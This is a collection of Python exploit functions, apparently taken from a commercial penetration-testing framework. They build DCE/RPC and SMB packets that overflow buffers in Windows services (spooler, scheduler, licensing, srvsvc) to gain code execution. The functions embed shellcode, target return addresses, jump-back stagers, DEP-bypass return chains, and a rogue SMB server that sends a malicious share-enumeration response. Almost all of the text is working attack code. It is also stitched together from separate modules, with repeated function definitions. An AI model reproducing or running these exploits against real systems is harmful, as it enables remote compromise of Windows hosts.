def buildDcePacket(self): self.log('Using version %d'%(self.version)) data=struct.pack('<L',0x00000001) data+=s_dce_win2k_unistring('A'*0xff) data+=struct.pack('<L',0x00000002) data+=s_dce_win2k_unistring('A'*0xff) return data
def SetPrinterDataExW(self,handle,key,value,data): self.log('Setting Printer data ("%s": "%s"="%s")'%(key,value,data)) packet='' packet+=handle packet+=s_dce_win2k_unistring(key) packet+=s_dce_win2k_unistring(value) packet+=struct.pack('<L',1) #REG_SZ packet+=struct.pack('<L',len(data)) packet+=data if (len(data)%4)!=0: packet+='\0'*(4-(len(data)%4)) packet+=struct.pack('<L',len(data)) self.myDCE.call(0x4d,packet,response=False) return 0
def buildDcePacket(self): self.info,self.offset,self.eip=targets[self.version] self.log('Generating attack string for version: %s'%(self.info)) if len(self.shellcode)>self.offset: self.log('Shellcode of len %d is too big for size %d'%(len(self.shellcode),self.offset)) raise Exception,'Shellcode too big!' packet='' data='' data+=self.shellcode data+='A'*(self.offset-len(data)) data+=struct.pack('<L',self.eip) data+='B'*0xc data+=mosdef.assemble('jmp $-%d'%(len(data)+5),'x86') if (len(data)%2)==1: data+='C' packet+=intel_order(0) packet+=intel_order(1) packet+=s_dce_raw_unistring(data) packet+=intel_order(0) packet+=s_dce_win2k_unistring('') packet+=intel_order(0) packet+=intel_order(1) packet+=intel_order(2) packet+=intel_order(0) return packet
def StartDocPrinterW(self,handle,filename): self.log('Starting doc printing ("%s")'%(filename)) packet='' packet+=handle packet+=struct.pack('<LL',1,1) #Level,Level packet+=struct.pack('<L',1) # packet+=struct.pack('<LLL',2,3,4) # packet+=s_dce_win2k_unistring('Doc%04x'%(random.randint(1,65535))) packet+=s_dce_win2k_unistring(filename) packet+=s_dce_win2k_unistring('RAW') self.myDCE.call(0x11, packet, response=True) ret = self.myDCE.reassembled_data if not ret or len(ret)!=8: return 0,-1 jobid,status=struct.unpack('<LL',ret) return jobid,status
def NetrJobAdd(self, jobtime, command): """ Add a job to our target """ packet=intel_order(0) #ServerName packet+=intel_order(jobtime) #JobTime packet+=intel_order(0) #DaysOfMonth packet+='\x00' #DaysOfWeek packet+='\x18' #Flags=JOB_NONINTERACTIVE|JOB_ADD_CURRENT_DATE while (len(packet)%4)!=0: packet+='\x00' packet+=intel_order(1) #Command packet+=s_dce_win2k_unistring(command) try: self.myDCE.call(0, packet, response=True) ret = self.myDCE.reassembled_data if ret == 0: self.log("Could not call NetrJobAdd on target") return False id, status = struct.unpack('<LL', ret[0:8]) if status != 0: self.log('NetrJobAdd of job %d failed with status %d' % (id, status)) else: self.jobsid.append(id) except Exception, emsg: self.log('NetrJobAdd: %s' % str(emsg)) return False
def EnumPrinterDataExW(self,handle,key): self.log('Enumerating Priner data ("%s")'%(key)) packet='' packet+=handle packet+=s_dce_win2k_unistring(key) packet+=struct.pack('<L',0x1000) self.myDCE.call(0x4f,packet,response=True) return 0
def buildDcePacket(self): self.info,self.eip=targets[self.version] data='' packet='' data+='\\\0\\\0' if self.version==1: #Windows 2000 SP4, XP SP1a bufferXP='A'*(0xf048-0xef20) bufferXP+=struct.pack('<L',self.eip[1]) #eip XP bufferXP+='C'*8 data+=bufferXP buffer2K=self.shellcode buffer2K+='D'*(0xf1d0-0xeccc-len(self.shellcode)-len(bufferXP)) buffer2K+=struct.pack('<L',self.eip[0]) #eip 2000 buffer2K+='F'*8 buffer2K+=mosdef.assemble('jmp $-%d'%(len(buffer2K)+5),'x86') #jmp back data+=buffer2K if (len(data)%2)==1: data+='G' data+='\\\0H\0' packet+=intel_order(1) packet+=s_dce_win2k_unistring('F') packet+=s_dce_raw_unistring(data) packet+=intel_order(0) elif self.version>=2: #XP SP2 with DEP from shellcode import shellcodeGenerator sc=shellcodeGenerator.win32() sc.addAttr('SmallSearchCode',{'tag':0x6b303063}) #'c00k' sc.standalone=1 searchcode=self.wc_encodeshellcode(sc.get()) bufferXP=searchcode bufferXP+='A'*(0xf000-0xeeec-len(bufferXP)) bufferXP+=mosdef.assemble('jmp $-%d'%(len(bufferXP)+5),'x86') #jmp back bufferXP+='B'*(0xf014-0xeeec-len(bufferXP)) bufferXP+=struct.pack('<L',self.eip[0]) bufferXP+='C'*8 bufferXP+=struct.pack('<L',self.eip[1]) bufferXP+=struct.pack('<L',self.eip[3]) bufferXP+='D'*16 bufferXP+=struct.pack('<L',self.eip[2]) bufferXP+='E'*4 bufferXP+='\xeb\xd6' #esi is restored from here, jmp back data+=bufferXP data+='\\\x00F\x00' if (len(self.shellcode)%2)==1: self.shellcode+='G' packet+=intel_order(1) packet+=s_dce_raw_unistring('c00k'+self.shellcode) packet+=s_dce_raw_unistring(data) packet+=intel_order(0) return packet
def LlsrConnect(self): packet = '' packet += s_dce_win2k_unistring('PHOENIX') # self.myDCE.set_timeout(600) self.log('LlsrConnect') self.myDCE.call(0, packet, response=True) response = self.myDCE.reassembled_data self.log('LlsrConnect response') if len(response) != 24: raise Exception, 'Invalid response received!' handle = struct.unpack('>20s', response[:20])[0] status = struct.unpack('>L', response[20:])[0] self.log('Handle: %s Status: %d' % (hexprint(handle), status)) if status != 0: self.log('LlsrConnect failed with %08x' % (status)) return '' return handle
def buildDcePacket(self): payload = '' payload += 'A' * self.distance payload += '\xeb\x1e' #jmp forward payload += 'BB' payload += struct.pack('<L', self.eip) #SEH payload += 'C' * 0x14 payload += 'DDD\xff' #access violation payload += self.shellcode while (len(payload) % 4) != 0: payload += 'E' data = '' data += struct.pack('<LLLL', 0, 0, len(payload), 0) data += 'F' * 0x10 data += payload packet = '' packet += s_dce_win2k_unistring('X\\Y\\Z') packet += struct.pack('<LL', 0xffff, len(data)) packet += data packet += struct.pack('<LLL', len(data), 4, 0) return packet
def buildDcePacket(self): self.log('version=%d' % (self.version)) self.description, self.eip = targets[self.version] data = '' packet = '' if self.description.count('2000') > 0: data += '\\' data += self.shellcode data += 'A' * (0x7e4 - len(data)) data += 'BBB\xff' #access violation data += 'C' * (0xb10 - len(data)) from MOSDEF import mosdef data += mosdef.assemble('jmp $-%d' % (len(data) - 1 + 5), 'x86') #jmp backward data += 'DDD' data += '\xeb\xf6' #jmp backward data += 'EE' data += struct.pack('<L', self.eip) #SEH packet += s_dce_win2k_unistring(data) elif self.description.count('XP') > 0: data += '\\\x00' data += self.shellcode data += 'A' * (0x7ac - len(data)) data += struct.pack('<L', self.eip) data += 'B' * 0xc from MOSDEF import mosdef data += mosdef.assemble('jmp $-%d' % (len(data) - 2 + 5), 'x86') #jmp backward if (len(data) % 2) == 1: data += 'C' packet += s_dce_raw_unistring(data) packet += struct.pack('<L', 0) packet += s_dce_unistring('') packet += s_dce_unistring('') packet += s_dce_unistring('') packet += struct.pack('<LLLLLL', 0, 0, 0, 0, 0, 0) return packet
def buildDcePacket(self): self.log('Using version %d' % (self.version)) self.info, self.base, eip, self.distance = targets[self.version] self.eip = [] for i in range(len(eip)): self.eip += [eip[i]] self.log('Attacking %s' % (self.info)) data = '' payload = '' payload += u'A\\..\\..\\'.encode('utf-16le') mark = len(payload) if self.version == self.WINNT4: #Windows NT 4.0 stager2k = """movl %%esp,%%eax addw $0x%x,%%ax movl (%%eax),%%eax jmp %%eax""" % (self.distance) stager = mosdef.assemble(stager2k, 'x86') payload += struct.pack('<L', self.eip[0]) payload += 'BBBB' payload += stager payload += 'C' * (0x4a - (len(payload) - mark)) elif self.version == self.WIN2000 or self.version == self.WINXP: #Windows 2000 or Windows XP SP0-SP1a stager2k = """movl %%esp,%%eax addw $0x%x,%%ax movl (%%eax),%%eax jmp %%eax""" % (self.distance) stager = mosdef.assemble(stager2k, 'x86') payload += 'A' * 0x12 payload += struct.pack('<L', self.eip[0]) payload += stager payload += 'C' * (0x48 - (len(payload) - mark)) payload += '\xeb\xcc' elif self.version == self.WIN2003: #Windows 2003 SP0 stager2k = """movl %%esp,%%eax addw $0x%x,%%ax movl (%%eax),%%eax jmp %%eax""" % (self.distance) stager = mosdef.assemble(stager2k, 'x86') payload += 'AA' payload += struct.pack('<L', self.eip[0]) payload += 'C' * 0x32 payload += stager payload += 'D' * (0x4a - (len(payload) - mark)) elif self.version in self.deptargets: #Windows XP SP2-SP3, or Windows 2003 SP1-SP2 for i in range(len(self.eip)): self.eip[i] += self.base stagerXp = """movl %%esp,%%eax addw $0x%x,%%ax movl 0x0(%%eax),%%eax pushl %%eax call %%esi jmp %%eax""" % (self.distance) #__wcsdup stager = mosdef.assemble(stagerXp, 'x86') if len(stager) > 0x0e: raise Exception, 'Somebody messed up something in MOSDEF, cannot continue' #HI DAVE!!! #This is based on a Nicolas P. idea payload += struct.pack('<L', self.eip[7]) #call eax payload += stager payload += 'B' * (0x12 - (len(payload) - mark)) payload += struct.pack('<LLLL', self.eip[0], 0xffffffff, 0x00010001, 0x00010001) #HeapCreate payload += 'C' * 4 #discarded payload += struct.pack('<LL', self.eip[1], 0xfffffff5) payload += struct.pack('<L', self.eip[2]) payload += struct.pack('<L', self.eip[6]) #__wcsdup payload += 'D' * 4 #discarded payload += struct.pack('<L', self.eip[3]) payload += struct.pack('<L', self.eip[4]) payload += struct.pack('<L', self.eip[5]) payload += struct.pack('<L', self.eip[6] + 5) #__wcsdup+5 payload += '\0\0' data += struct.pack('<L', 0x00000001) if len(self.shellcode) % 2 != 0: self.shellcode += 'A' data += s_dce_raw_unistring(self.shellcode + 'A' * 64 + '\0\0') data += s_dce_raw_unistring(payload) data += struct.pack('<L', 0x00000002) data += s_dce_win2k_unistring('\\') data += struct.pack('<LL', 1, 1) return data
def handleSMBclient(self, s, eip): """Handles a SMB client connection""" request = self.recvall(s) #Negotiate Protocol Request if len(request) < 9 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x72: self.log( 'Unexpected packet received instead of "Negotiate Protocol Request"' ) return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #Negotiate Protocol Response response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0055) + '\xffSMB' + struct.pack( '<BL', 0x72, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc853, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0000, muxid) response += struct.pack('<BHBHHLLL', 0x11, 0x0005, 0x03, 0x000a, 0x0001, 0x00001104, 0x00010000, 0x00000000) response += struct.pack('<LLLHBH', 0x8000e3fd, 0x00000000, 0x00000000, 0x0168, 0x00, 0x0010) + '\xff' * 0x10 s.sendall(response) request = self.recvall(s) #Session Setup AndX Request, NTLMSSP_NEGOTIATE if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x73: self.log( 'Unexpected packet received instead of "Session Setup AndX Request, NTLMSSP_NEGOTIATE"' ) return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x011d) + '\xffSMB' + struct.pack( '<BL', 0x73, 0xc0000016) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0800, muxid) response += struct.pack('<BBBHH', 0x04, 0xff, 0x00, 0x011d, 0x0000) response += struct.pack('<HH', 0x00a8, 0x00f2) + 'NTLMSSP\0' + struct.pack( '<L', 0x00000002) response += struct.pack('<HHL', 0x0014, 0x0014, 0x00000030) + struct.pack( '<L', 0xe08a8215) + '\0' * 16 response += struct.pack('<HHL', 0x0064, 0x0064, 0x00000044) + 'FAKESMBSRV'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0002, 0x0014) + 'FAKESMBSRV'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0001, 0x0014) + 'FAKESMBSRV'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0004, 0x0014) + 'fakesmbsrv'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0003, 0x0014) + 'fakesmbsrv'.encode('UTF-16')[2:] response += struct.pack('<L', 0x00000000) if len(response) % 2 != 0: response += '\0' response += 'Windows 5.0'.encode('UTF-16')[2:] + '\0\0' response += 'Windows 2000 LAN Manager'.encode('UTF-16')[2:] + '\0' s.sendall(response) request = self.recvall(s) #Session Setup AndX Request, NTLMSSP_AUTH, User: ??? if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x73: self.log( 'Unexpected packet received instead of "Session Setup AndX Request, NTLMSSP_AUTH, User: ???"' ) return muxid = struct.unpack('<H', request[0x22:0x24])[0] #Session Setup AndX Response response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0075) + '\xffSMB' + struct.pack( '<BL', 0x73, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBH', 0x04, 0xff, 0x00, 0x0075) response += struct.pack('<HHHB', 0x0000, 0x0000, 0x004a, 0x4e) response += 'Windows 5.0'.encode('UTF-16')[2:] + '\0\0' response += 'Windows 2000 LAN Manager'.encode('UTF-16')[2:] + '\0' s.sendall(response) request = self.recvall(s) #Tree Connect AndX Request, Path: ??? if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x75: self.log( 'Unexpected packet received instead of "Tree Connect AndX Request, Path: ???"' ) return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #Tree Connect AndX Response response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0038) + '\xffSMB' + struct.pack( '<BL', 0x75, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, 0xfeff, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBH', 0x07, 0xff, 0x00, 0x0038) response += struct.pack('<HHHHHH', 0x0001, 0x01ff, 0x0000, 0x01ff, 0x0000, 0x0007) + 'IPC' + '\0' * 4 s.sendall(response) request = self.recvall(s) #NT Create AndX Request, Path: \srvsvc if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0xa2: self.log('Unexpected packet received') return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #NT Create AndX Response, FID: 0x4000 response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0087) + '\xffSMB' + struct.pack( '<BL', 0xa2, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, 0x01a4, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBH', 0x2a, 0xff, 0x00, 0x0087) response += struct.pack('<BHL', 0x00, 0x4000, 0x00000001) + '\0' * 32 #fid response += struct.pack('<LLL', 0x00000080, 0x00001000, 0x00000000) + '\0' * 8 response += struct.pack('<HHBH', 0x0002, 0x05ff, 0x00, 0x0000) response += struct.pack('<HHL', 0x0014, 0x0014, 0x00000076) response += struct.pack('<HHL', 0x0010, 0x0010, 0x000000ba) response += struct.pack('<LHHHHHH', 0xe2888215, 0x0005, 0x01ff, 0x001f, 0x01fb, 0x0012, 0x004f) #unknown s.sendall(response) request = self.recvall(s) #DCERPC Bind: call_id: 1 SRVSVC V3.0 if len(request) < 0x68 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x25: self.log( 'Unexpected packet received instead of "DCERPC Bind: call_id: 1 SRVSVC V3.0"' ) return False callid = struct.unpack('<L', request[0x64:0x68])[0] pid = struct.unpack('<H', request[0x1e:0x20])[0] muxid = struct.unpack('<H', request[0x22:0x24])[0] #DCERPC Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280 response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x007c) + '\xffSMB' + struct.pack( '<BL', 0x25, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800, muxid) #tid pid uid response += struct.pack('<BHHHHHHHHHBBHB', 0x0a, 0x0000, 0x0044, 0x0000, 0x0000, 0x0038, 0x0000, 0x0044, 0x0038, 0x0000, 0x00, 0x00, 0x0045, 0x00) response += struct.pack('<BBBBLHHLHH', 0x05, 0x00, 0x0c, 0x03, 0x00000010, 0x0044, 0x0000, callid, 0x10b8, 0x10b8) response += struct.pack('<LH', 0x000064fd, 0x000d) + '\\PIPE\\ntsvcs\0\0' + struct.pack( '<LL', 0x00000001, 0x00000000) response += struct.pack('<LHHBBBBBBBBL', 0x8a885d04, 0x1ceb, 0x11c9, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x00000002) s.sendall(response) request = self.recvall(s) #SRVSVC NetShareEnumAll request if len(request) < 0x68 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x25: self.log( 'Unexpected packet received instead of "SRVSVC NetShareEnumAll request"' ) return False callid = struct.unpack('<L', request[0x64:0x68])[0] pid = struct.unpack('<H', request[0x1e:0x20])[0] muxid = struct.unpack('<H', request[0x22:0x24])[0] #SRVSVC NetShareEnumAll response comment = '' comment += 'B' * 0x20 comment += struct.pack('<L', 0xfffffffc) comment += 'CCCC' comment += struct.pack('<L', self.eip) comment += 'DDDD' comment += struct.pack('<L', 0x7ffdf204) comment += 'E' * 0xc comment += struct.pack( '<L', 0x7ffdf1e4) #0x7ffdf1e0 points to 'Service Pack 4' comment += struct.pack('<L', 0x01010101) comment += struct.pack('<L', 0x7ffdf0ac) comment += 'FFFF' comment += 'G' * 0xc comment += self.shellcode if (len(comment) % 2) != 0: comment += '\xcc' data = '' data += struct.pack('<L', 1) data += struct.pack('<L', 1) data += struct.pack('<L', 1) #[unique] data += struct.pack('<L', 6) data += struct.pack('<L', 2) #[unique] data += struct.pack('<L', 6) data += struct.pack('<LLL', 3, 0x80000003, 4) #[unique],type,[unique] data += struct.pack('<LLL', 5, 0x00000000, 6) #[unique],type,[unique] data += struct.pack('<LLL', 7, 0x00000001, 8) #[unique],type,[unique] data += struct.pack('<LLL', 9, 0x80000000, 10) #[unique],type,[unique] data += struct.pack('<LLL', 11, 0x80000000, 12) #[unique],type,[unique] data += struct.pack('<LLL', 13, 0x00000000, 14) #[unique],type,[unique] data += s_dce_win2k_unistring('IPC$') data += s_dce_win2k_unistring('Remote IPC') data += s_dce_win2k_unistring('print$') data += s_dce_win2k_unistring('Printer Drivers') data += s_dce_win2k_unistring('A' * 0x207) #wcsncpy() is 0x207 cch long data += s_dce_raw_unistring(comment) data += s_dce_win2k_unistring('ADMIN$') data += s_dce_win2k_unistring('Remote Admin') data += s_dce_win2k_unistring('C$') data += s_dce_win2k_unistring('Default share') data += s_dce_win2k_unistring('Shared') data += s_dce_win2k_unistring('') data += struct.pack('<LLL', 6, 0, 0) #SMB Pipe TransactNmPipe Response, FID: 0x4000 self.log('Sending 1st fragment of NetShareEnumAll response') #Fragment 1 response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0438) + '\xffSMB' + struct.pack( '<BL', 0x25, 0x80000005) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800, muxid) #tid pid uid response += struct.pack('<BHHHHHHHHHBBHB', 0x0a, 0x0000, 0x0400, 0x0000, 0x0000, 0x0038, 0x0000, 0x0400, 0x0038, 0x0000, 0x00, 0x00, 0x0401, 0x00) response += struct.pack('<BBBBLHHLL', 0x05, 0x00, 0x02, 0x03, 0x00000010, 0x0018 + len(data), 0x0000, callid, len(data)) response += struct.pack('<HH', 0x0000, 0x0000) response += data[:0x400 - 0x18] s.sendall(response) request = self.recvall(s) #SMB Read AndX Request, FID: 0x4000, ??? bytes at offset 0 if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x2e: self.log( 'Unexpected packet received instead of "SMB Read AndX Request, FID: 0x4000, ??? bytes at offset 0"' ) return False pid = struct.unpack('<H', request[0x1e:0x20])[0] muxid = struct.unpack('<H', request[0x22:0x24])[0] # XXX self.log('Sending 2nd fragment of NetShareEnumAll response') #Fragment 2 remaining = data[0x400 - 0x18:] response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x48 + len(remaining)) + '\xffSMB' + struct.pack( '<BL', 0x2e, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBHHHHHHL', 0x0c, 0xff, 0x00, 0x0000, 0x0000, 0x0000, 0x0000, len(remaining), 0x003c, 0x00000000) response += '\0' * 6 + struct.pack('<HB', len(remaining) + 1, 0x00) response += data[0x400 - 0x18:] s.sendall(response) request = self.recvall(s) #XXX: sleep instead of recvall return True
def buildDcePacket(self): self.info, self.eip = targets[self.version] self.log('Attacking %s' % (self.info)) data = '' if self.version == 1 or self.version == 2: #Windows NT 4.0 SP6a and 2000 SP0-SP4 payload = '' payload += self.shellcode payload += 'A' * (0x416 - len(payload)) payload += struct.pack('<L', self.eip + 2) payload += 'CCCCDDDD' payload += struct.pack('<L', self.eip) payload += struct.pack('<L', 0xffffffff) data += struct.pack('<L', 0) data += s_dce_raw_unistring(payload) data += struct.pack('<L', 1) data += s_dce_win2k_unistring('/') data += struct.pack('<LL', 1, 1) elif self.version == 3: #Windows XP SP1a (slight difference between SP0 and SP1a) stager = """addl $0x70,%esp movl 0x60(%esp),%eax addl $0x10,%eax call %eax""" padsize = 0x20 payload = '' payload += 'A' * padsize #the beginning of the buffer might get corrupted payload += mosdef.assemble(stager, 'x86') payload += 'A' * (0x264 - len(payload)) payload += struct.pack('<L', self.eip + padsize) #for SP0 payload += 'CCCCDDDD' payload += struct.pack('<L', self.eip) payload += struct.pack('<L', 0xffffffff) payload += 'E' * (0x294 - len(payload)) payload += struct.pack('<L', self.eip + padsize) #for SP1a payload += 'FFFFGGGG' payload += struct.pack('<L', self.eip) payload += struct.pack('<L', 0xffffffff) data += struct.pack('<L', 0) data += s_dce_raw_unistring(payload) data += struct.pack('<L', 1) data += s_dce_win2k_unistring('') data += struct.pack('<LL', 1, 1) resp = True if self.response else False ret = self.myDCE.call(self.targetfunction, data, response=resp) if (len(self.shellcode) % 2) != 0: self.shellcode += 'E' data += struct.pack('<L', 0) data += s_dce_raw_unistring(self.shellcode) data += struct.pack('<L', 1) data += s_dce_win2k_unistring('') data += struct.pack('<LL', 1, 1) self.connect() elif self.version == 4: #Windows 2003 SP0, I won't touch that yet marshaller = dcemarshaller() geteip = self.eip # First call: Find the disaligment of the unitialized rpc call # Basically, we send a string, and see how many garbage we have before our string self.log( "1) Finding the correct aligment of the unitialized buffer") buffer = "ABCD" data = self.doMarshall(marshaller, buffer) self.myDCE.call(self.targetfunction, data, response=True) ret = self.myDCE.reassembled_data first_offset = ret.find("ABCD") self.log(" - Aligment found : 0x%04x" % first_offset) # Second call: Now we know exactly the offset of the disaligment, so now we will try to # know exaclty at what point the buffer gets written by a double "zero" on the overwrite func # Two rpc calls need for that self.log("2) Finding the point where unitialized gets overwritten") self.connect() buffer = intel_order(geteip - first_offset) + "A" * 0x200 data = self.doMarshall(marshaller, buffer) self.myDCE.call(self.targetfunction, data, response=True) ret = self.myDCE.reassembled_data second_offset = 0 self.connect() buffer = "B" * 0x10 data = self.doMarshall(marshaller, buffer) self.myDCE.call(self.targetfunction, data, response=True) ret = self.myDCE.reassembled_data if ret: second_offset = self.parseResponse(ret) # returns the offset self.log(" - Offset to the overwrite: 0x%04x" % second_offset) # This guy, overwrites ndx = 0x418 - second_offset if ndx < len(self.shellcode): self.log( "Sorry, The shellcode is too big to Work (size: %d, available: %d)" % (len(self.shellcode), ndx)) return "" buffer = "A" * 0x8 + self.shellcode + "B" * (ndx - 8 - len(self.shellcode)) buffer += intel_order(geteip - first_offset) # stack cookie buffer += "CCCC" # EBP buffer += intel_order(geteip + second_offset - first_offset) # ret address buffer += intel_order(geteip - first_offset) * 4 # arguments self.log("3) Stack layout: ") self.log( " [ 0x%08x] # DWORD that overwrite where the cookie is " % (geteip - first_offset)) self.log(" [ .... ] # nops + shellcode") self.log(" [ 0x%08x] # stack cookie" % (geteip - first_offset)) self.log(" [ 0x%08x] # EBP " % 0x43434343) self.log(" [ 0x%08x] # RET " % (geteip + second_offset - first_offset)) self.log(" [ ... ] # ") self.log( " [ 0x%08x] # arg_8 which is passed to a memcpy, and copy this buffer into the cookie .data" % (geteip - first_offset)) data = self.doMarshall(marshaller, buffer) #try: # ret = self.myDCE.call(self.targetfunction,data, response = 1) #except DCEException: # print "Exception #3" self.connect() return data